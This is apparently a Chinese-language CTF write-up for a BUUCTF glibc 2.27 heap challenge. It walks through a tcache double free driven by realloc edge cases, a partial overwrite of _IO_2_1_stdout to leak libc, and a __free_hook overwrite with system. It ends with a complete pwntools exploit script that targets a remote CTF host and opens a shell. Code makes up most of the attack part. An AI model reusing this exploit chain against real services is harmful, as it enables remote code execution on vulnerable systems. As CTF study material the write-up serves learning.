慢慢的接触到了FILE io的实战题目,很难想象这是2019年题目的水平,看来还是欠缺的太多了。
此外,realloc函数这里也是第一次碰到,之前一直都是用realloc_hook,今天也终于对realloc这个函数下手了!!!
题目环境是BUUCTF的ubuntu18,利用的是2.27-3ubuntu1_amd64的libc版本,这个版本注意到tcache还是存在double free的漏洞的,
至于函数功能真的是非常简单的
1.realloc功能

2.free功能

3.隐藏的666功能

这么简单功能?到滴该咋办,第一时间看到的时候我整个人都懵逼了。
如果想靠自己的本事做出来,至少要掌握下面两个基础知识:
realloc函数功能比malloc更加复杂,与malloc也有一定的区分。
网上有很多优秀的博文,我在这里推荐hollk大神的博客,写的特别nice
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
这个题目有两个最核心的问题:
如果在已知libc地址的前提下,攻击方法我们还是希望攻击hook这种传统的方式,并且因为tcache double free可行,tcache dup就更容易利用了,其中就是需要我们仔细理解、设计realloc的用法。我们设(学习)计(大佬)的解题思路如下:
想法很美妙,但是如果不看大神的wp,能够想出来一定还是很有挑战的!!!
第一步:构建tcache dup的条件,并且将地址指向_IO_2_1_stdout,事实就是这个构造就让我头秃欲裂
这里面细节太多了,建议一步一步看,结合代码注释看。
这里构造必须巧妙地运用realloc的特性:①当ptr != nullptr && size == 0的时候返回空指针;②当ptr == nullptr的时候,相当于malloc(size)两条性质。
realloc(0x30,"a") # 块A 这一步很关键,是为了tcache dup篡改B的fd预留位置
realloc(0,"") # 这一步是关键,利用了性质①
realloc(0x80,"b") # 块B ,在上述步骤后realloc_ptr被置空,又可以利用②构造下一个位置的chunk,而不是在A的基础上扩展
realloc(0,"") # 同上
realloc(0x40,"c") # 块C ,纯粹的隔离作用,防止被top chunk 合并
realloc(0,"")
realloc(0x80,"b") # 重新申请回B块
[free() for x in range(7)] # 利用tcache double free填满tcache chain
realloc(0,"") # 这一步有三层含义,非常关键
# 第一,清空realloc_ptr,为tcache dup必须的更改realloc_ptr创造条件
# 第二,将0x90大小的堆第8次释放,变成unsorted bin,这一步为realloc(A,size(A)+N)成功打下基础
# 第三,unsorted bin 会使得fd 变成main_arena + 96,这给我们篡改至_IO_2_1_stdout奠定了基础
布置完毕后堆空间是这样的


realloc(0x30,"a") # 将realloc_ptr指向Chunk A
#break_here() # 注释代码用于在测试时候用,保证tcache顺利指向
#offset = int(input("please input offset : "))
#offset = (offset<<4)+7
offset = 0xc7 # 在实操时候直接选一个值爆破就完事了
payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(offset)
realloc(0x50,payload) # 这一步也是至关重要的一步,里面包含了两点!
# 第一,篡改的p64(0x51),将Chunk B大小修改掉了,这样可以结合realloc(0),多一次malloc(0x80),好好体会!
# 第二,将double free tcache的fd指向了_IO_2_1_stdout,这得益于_IO_2_1_stdout和main_arena很近
realloc(0,"") # 因为上面篡改size,实现tcache dup的第一次申请
realloc(0x80,"b")
realloc(0,"")
payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
realloc(0x80,payload) # 实现tcache dup的第二次申请,同时篡改_IO_2_1_stdout内容
– 利用tcache dup需要两次malloc如何实现,在中间利用到了一个点,通过篡改了Chunk B赢得了一次机会
– 至于利用main_arena篡改stdout,得益于他们非常近,如下图,我们唯一不知道的就是第二地位的高四位地址

这里有个小tips,在调试的时候利用好input的,别傻乎乎的撞大运。
然后利用stdout泄露的原理就不再赘述,反正要符合条件!!!
1、设置_flags & _IO_NO_WRITES = 0
2、设置_flags & _IO_CURRENTLY_PUTTING = 1
3、设置_flags & _IO_IS_APPENDING = 1
4、将_IO_write_base设置为要泄露的地方
这里又是一个细节,_IO_write_base原本的位置是指向_IO_2_1_stdout附近的,现在我们还是只要篡改低1字节就可以了

然后我们就可以找到libc地址了
第二步:泄露libc地址,很正常的操作不再赘述
这里面最重要的一点是,在完毕后需要用到666功能,清除realloc_ptr,为后面再次利用创造条件。
第三步:利用第一步相同的手法,将_free_hook篡改为system
realloc(0x20,"a")
realloc(0,"")
realloc(0x90,"b")
realloc(0,"")
realloc(0x40,"c")
realloc(0,"") #部署空间
realloc(0x90,"b")
[free() for x in range(7)]
realloc(0,"")
realloc(0x20,"a") #转移realloc_ptr
payload = p64(0)*5 + p64(0x71) + p64(__free_hook-0x8) # 这里是为了预留/bin/sh\x00的位置
realloc(0x70,payload)
realloc(0,"")
realloc(0x90,"b")
realloc(0,"")
realloc(0x90,"/bin/sh\x00"+p64(system)) # 实现tcache dup篡改
free() # 触发漏洞
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def realloc(size,content):
conn.recvuntil(">> ")
conn.sendline("1")
conn.recvuntil("Size?")
conn.sendline(str(size))
conn.recvuntil("Content?")
conn.send(content)
def edit_note(index,content):
conn.recvuntil("option--->>")
conn.sendline("3")
conn.recvuntil("Input the id:")
conn.sendline(str(index))
conn.recvuntil("Input the new content:")
conn.sendline(content)
def free():
conn.recvuntil(">> ")
conn.sendline("2")
def clean():
conn.recvuntil(">> ")
conn.sendline("666")
def break_here():
'''这个是我调试用的,需要在哪里断了就在哪里加上一句'''
conn.recvuntil(">> ")
conn.sendline("3")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29982
conn = remote(HOST ,PORT)
pause()
'''第一步:第一次tcache dup构造,意在申请到`_IO_2_1_stdout`的块'''
# 1.tcache dup应该如何布置空间
# ①当ptr != nullptr && size == 0的时候返回空指针;
# ②当ptr == nullptr的时候,相当于malloc(size)两条性质
realloc(0x30,"a") # 块A 这一步很关键,是为了tcache dup篡改B的fd预留位置
realloc(0,"") # 这一步是关键,利用了性质①
realloc(0x80,"b") # 块B ,在上述步骤后realloc_ptr被置空,又可以利用②构造下一个位置的chunk,而不是在A的基础上扩展
realloc(0,"") # 同上
realloc(0x40,"c") # 块C ,纯粹的隔离作用,防止被top chunk 合并
realloc(0,"")
realloc(0x80,"b") # 重新申请回B块
[free() for x in range(7)] # 利用tcache double free填满tcache chain
realloc(0,"") # 这一步有三层含义,非常关键
# 第一,清空realloc_ptr,为tcache dup必须的更改realloc_ptr创造条件
# 第二,将0x90大小的堆第8次释放,变成unsorted bin,这一步为realloc(A,size(A)+N)成功打下基础
# 第三,unsorted bin 会使得fd 变成main_arena + 88,这给我们篡改至_IO_2_1_stdout奠定了基础
# 2.利用tcache dup需要两次malloc如何实现?如何篡改main_arena指向_IO_2_1_stdout?
realloc(0x30,"a") # 将realloc_ptr指向Chunk A
#break_here() # 注释代码用于在测试时候用,保证tcache顺利指向
#offset = int(input("please input offset : "))
#offset = (offset<<4)+7
offset = 0xc7 # 在实操时候直接选一个值爆破就完事了
payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(offset)
realloc(0x50,payload) # 这一步也是至关重要的一步,里面包含了两点!
# 第一,篡改的p64(0x51),将Chunk B大小修改掉了,这样可以结合realloc(0),多一次malloc(0x80),好好体会!
# 第二,将double free tcache的fd指向了_IO_2_1_stdout,这得益于_IO_2_1_stdout和main_arena很近
realloc(0,"") # 因为上面篡改size,实现tcache dup的第一次申请
realloc(0x80,"b")
realloc(0,"")
payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
realloc(0x80,payload) # 实现tcache dup的第二次申请,同时篡改_IO_2_1_stdout内容
'''第二步:泄露libc地址'''
conn.recvuntil("\n",drop=True)
libc_leak = conn.recvuntil("\x7f")
libc_leak = libc_leak.ljust(8,"\x00")
libc_leak = u64(libc_leak)
__free_hook = libc_leak + 0x5648
print "The libc leak is ",hex(libc_leak)
print "The __free_hook is ",hex(__free_hook)
libc = LibcSearcher("__free_hook",__free_hook)
libc_base = __free_hook - libc.dump("__free_hook")
system = libc_base + libc.dump("system")
clean() # 这一步很关键,为了后面可以正常继续操作,需要用隐藏功能把realloc_ptr清零
'''第三步:使用相同的方法,将free_hook篡改为system'''
realloc(0x20,"a")
realloc(0,"")
realloc(0x90,"b")
realloc(0,"")
realloc(0x40,"c")
realloc(0,"") #部署空间
realloc(0x90,"b")
[free() for x in range(7)]
realloc(0,"")
realloc(0x20,"a") #转移realloc_ptr
payload = p64(0)*5 + p64(0x71) + p64(__free_hook-0x8) # 这里是为了预留/bin/sh\x00的位置
realloc(0x70,payload)
realloc(0,"")
realloc(0x90,"b")
realloc(0,"")
realloc(0x90,"/bin/sh\x00"+p64(system)) # 实现tcache dup篡改
free() # 触发漏洞
conn.interactive()